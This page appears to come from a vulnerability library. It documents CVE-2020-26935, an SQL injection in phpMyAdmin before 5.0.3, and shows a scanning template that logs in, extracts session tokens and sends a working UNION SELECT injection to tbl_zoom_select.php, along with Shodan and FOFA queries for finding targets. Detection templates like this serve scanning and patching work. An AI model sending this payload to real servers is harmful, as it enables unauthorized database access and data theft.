/Vulnerability Library

phpMyAdmin < 5.0.3 - SQL Injection

CVE-2020-26935
Verified

Description

phpMyAdmin before 4.9.6 and 5.x before 5.0.3 contains a SQL injection caused by improper processing of SQL statements in the search feature, letting attackers inject malicious SQL, exploit requires crafted search input.

Severity

Critical

CVSS Score

9.8

Exploit Probability

67%

Published Date

January 21, 2026

Template Author

0x_akoko

CVE-2020-26935.yaml
id: CVE-2020-26935

info:
  name: phpMyAdmin < 5.0.3 - SQL Injection
  author: 0x_Akoko
  severity: critical
  description: |
    phpMyAdmin before 4.9.6 and 5.x before 5.0.3 contains a SQL injection caused by improper processing of SQL statements in the search feature, letting attackers inject malicious SQL, exploit requires crafted search input.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to phpMyAdmin 4.9.6 or 5.0.3, or latest version.
  reference:
    - https://www.phpmyadmin.net/security/PMASA-2020-6/
    - https://github.com/phpmyadmin/phpmyadmin/commit/d09ab9bc9d634ad08b866d42bb8c4109869d38d2
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26935
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-26935
    epss-score: 0.66545
    epss-percentile: 0.99188
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 4
    shodan-query: http.title:"phpMyAdmin"
    fofa-query: app="phpMyAdmin"
  tags: cve,cve2020,phpmyadmin,sqli,authenticated

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "phpMyAdmin", "name=\"token\"")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        regex:
          - 'name="token" value="([^"]+)"'
        internal: true

      - type: regex
        name: set_session
        part: body
        group: 1
        regex:
          - 'name="set_session" value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pma_username={{username}}&pma_password={{password}}&server=1&target=index.php&token={{token}}&set_session={{set_session}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "pmaAuth-1=")
        condition: and
        internal: true

  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "logged_in:true")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: token2
        part: body
        group: 1
        regex:
          - 'token:"([^"]+)"'
        internal: true

  - raw:
      - |
        POST /tbl_zoom_select.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        db=testdb&table=users&where_clause=1=0 UNION SELECT 1,CONCAT(USER(),0x3a,DATABASE(),0x3a,VERSION()),3-- -&where_clause_sign=&token={{token2}}&ajax_request=true&get_data_row=true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "\"success\":true", "\"row_info\"")
        condition: and

    extractors:
      - type: regex
        name: sqli_data
        part: body
        group: 1
        regex:
          - '"username":"([^"]+)"'
# digest: 4b0a00483046022100a58810d2b29662a35138f360d58414e732ebf73e504e92fc6e2b5d9244af4a86022100f31c97a9364ba0dcdadc7dcf189f2a7fe65d5fa6514f5cf73525a264a60830ab:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2020-26935
CWE ID:
cwe-89

References

https://www.phpmyadmin.net/security/PMASA-2020-6/https://github.com/phpmyadmin/phpmyadmin/commit/d09ab9bc9d634ad08b866d42bb8c4109869d38d2https://nvd.nist.gov/vuln/detail/CVE-2020-26935

Remediation Steps

Update to phpMyAdmin 4.9.6 or 5.0.3, or latest version.